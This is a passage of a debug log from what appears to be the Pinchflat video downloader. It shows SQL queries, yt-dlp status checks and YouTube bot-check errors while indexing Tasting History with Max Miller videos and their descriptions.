? RETURNING "id" ["Join Thrive Market today to get 30% off your first order + a free gift worth up to $60 using my link: http://thrivemarket.com/MaxMiller \n#thrivemarketpartner \n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?", "ef8a3fb7-33de-4223-ab6a-cf38e131ac0f", "t1O1hcixZDU", "https://www.youtube.com/watch?v=t1O1hcixZDU", false, false, 3, "/downloads/Tasting History with Max Miller/2026-03-10 Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?/Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb? [t1O1hcixZDU].NA", false, false, 3, [], 98, ~U[2026-03-10 00:00:00Z], ~U[2026-03-30 06:51:27Z], ~U[2026-03-30 06:51:27Z], "Join Thrive Market today to get 30% off your first order + a free gift worth up to $60 using my link: http://thrivemarket.com/MaxMiller \n#thrivemarketpartner \n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?", "t1O1hcixZDU", "https://www.youtube.com/watch?v=t1O1hcixZDU", nil, false, "/downloads/Tasting History with Max Miller/2026-03-10 Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?/Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb? [t1O1hcixZDU].NA", false, 3, ~U[2026-03-10 00:00:00Z]] 02:51:27.723 [debug] QUERY OK source="sources" db=0.2ms idle=37.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:27.723 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:27.723 [debug] QUERY OK source="media_items" db=0.2ms idle=5.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11535] 02:51:27.723 [info] Kicking off download for media item #11535 (t1O1hcixZDU) 02:51:27.725 [debug] QUERY OK source="tasks" db=0.3ms queue=0.1ms idle=2.2ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1713, 11535, ~U[2026-03-30 06:51:27Z], ~U[2026-03-30 06:51:27Z]] 02:51:27.725 [debug] Current batch of media processed. Will check again in 1000ms 02:51:28.475 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/45/a8/45a8d4fc9f52c90dd5c3e75c99e1cc4272a187c3da96855fa51e294cbe60eaf6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] _iGppK9by3Y: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 02:51:28.475 [error] yt-dlp download error for media item #12546: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] _iGppK9by3Y: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 02:51:28.475 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] _iGppK9by3Y: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 02:51:28.475 [info] {"args":{"id":12546},"id":1711,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1762163,"event":"job:stop","queue_time":712506,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:51:28.482 [info] {"args":{"id":11535},"id":1713,"meta":{},"system_time":1774853488482385243,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:51:28.482 [debug] QUERY OK source="media_items" db=0.1ms idle=757.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11535] 02:51:28.483 [info] User scripts lifecyle file either not present or is empty. Skipping. 02:51:28.483 [debug] QUERY OK source="sources" db=0.2ms idle=758.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:28.483 [debug] QUERY OK source="media_profiles" db=0.1ms idle=757.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:28.484 [debug] QUERY OK source="media_items" db=0.3ms idle=8.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11535] 02:51:28.485 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11535] 02:51:28.485 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:28.485 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:28.486 [debug] QUERY OK source="settings" db=0.0ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:28.486 [debug] Running yt-dlp command for action: get_downloadable_status 02:51:28.486 [debug] QUERY OK source="settings" db=0.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:28.486 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:28.487 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:28.487 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b8/7f/b87f84252cdc65f6a94eaddd0c1f1a21826b65a24641b4389f9d54a25826b873.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:51:28.703 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/82/a8/82a8f39307df1bdef4d2716ffafb35a94c35ee0757ac5bf93132efd2788702de.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] 9SvcDeiwXrc: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 02:51:28.703 [error] yt-dlp download error for media item #12040: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] 9SvcDeiwXrc: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 02:51:28.703 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] 9SvcDeiwXrc: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 02:51:28.703 [info] {"args":{"id":12040},"id":1712,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1981433,"event":"job:stop","queue_time":721522,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:51:28.726 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Support the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nTree at Hatshepsut’s Temple: By Justegypt - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nMortuary Temple Aerial Shot: By Diego Delso, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nHatshepsut’s Mummy - By Vrangel1924 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nDestroyed Cartouches: By Hedwig Storch - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2026-03-03 Hatshepsut - The Pharaoh they tried to Erase from History/Hatshepsut - The Pharaoh they tried to Erase from History [g2uEeDzhn14].NA", "id" => "g2uEeDzhn14", "original_url" => "https://www.youtube.com/watch?v=g2uEeDzhn14", "playlist_index" => 4, "title" => "Hatshepsut - The Pharaoh they tried to Erase from History", "upload_date" => "20260303"} 02:51:28.727 [debug] QUERY OK source="sources" db=0.2ms idle=240.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:28.727 [debug] QUERY OK source="sources" db=0.1ms idle=240.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:28.729 [debug] QUERY OK source="media_items" db=1.3ms idle=41.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-03 00:00:00Z], 3] 02:51:28.821 [debug] QUERY OK source="media_items" db=91.5ms idle=25.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Support the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nTree at Hatshepsut’s Temple: By Justegypt - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nMortuary Temple Aerial Shot: By Diego Delso, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nHatshepsut’s Mummy - By Vrangel1924 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nDestroyed Cartouches: By Hedwig Storch - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "Hatshepsut - The Pharaoh they tried to Erase from History", "4a5202e6-77c4-46ac-b371-d44485f899d0", "g2uEeDzhn14", "https://www.youtube.com/watch?v=g2uEeDzhn14", false, false, 4, "/downloads/Tasting History with Max Miller/2026-03-03 Hatshepsut - The Pharaoh they tried to Erase from History/Hatshepsut - The Pharaoh they tried to Erase from History [g2uEeDzhn14].NA", false, false, 3, [], 98, ~U[2026-03-03 00:00:00Z], ~U[2026-03-30 06:51:28Z], ~U[2026-03-30 06:51:28Z], "Support the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nTree at Hatshepsut’s Temple: By Justegypt - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nMortuary Temple Aerial Shot: By Diego Delso, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nHatshepsut’s Mummy - By Vrangel1924 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nDestroyed Cartouches: By Hedwig Storch - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "Hatshepsut - The Pharaoh they tried to Erase from History", "g2uEeDzhn14", "https://www.youtube.com/watch?v=g2uEeDzhn14", nil, false, "/downloads/Tasting History with Max Miller/2026-03-03 Hatshepsut - The Pharaoh they tried to Erase from History/Hatshepsut - The Pharaoh they tried to Erase from History [g2uEeDzhn14].NA", false, 3, ~U[2026-03-03 00:00:00Z]] 02:51:28.821 [debug] QUERY OK source="sources" db=0.2ms idle=111.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:28.822 [debug] QUERY OK source="media_profiles" db=0.1ms idle=94.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:28.822 [debug] QUERY OK source="media_items" db=0.2ms idle=94.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [10464] 02:51:28.822 [debug] Current batch of media processed. Will check again in 1000ms 02:51:29.823 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nListen to the Podcast I did with The Biographers at any of these links:\nApple Podcasts: https://podcasts.apple.com/us/podcast...\nSpotify: https://open.spotify.com/episode/1JlC...\nYouTube: \u00A0\u00A0\u00A0•\u00A0Bonus!\u00A0--\u00A0A\u00A0Taste\u00A0of\u00A0History:\u00A0An\u00A0Interview...\u00A0\u00A0\nWebsite: www.thebiographerspodcast.com\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #tesla", "filename" => "/downloads/Tasting History with Max Miller/2026-02-24 Nikola Tesla's Weird Eating Habits/Nikola Tesla's Weird Eating Habits [LpfV-0kT56o].NA", "id" => "LpfV-0kT56o", "original_url" => "https://www.youtube.com/watch?v=LpfV-0kT56o", "playlist_index" => 5, "title" => "Nikola Tesla's Weird Eating Habits", "upload_date" => "20260224"} 02:51:29.824 [debug] QUERY OK source="sources" db=0.2ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", 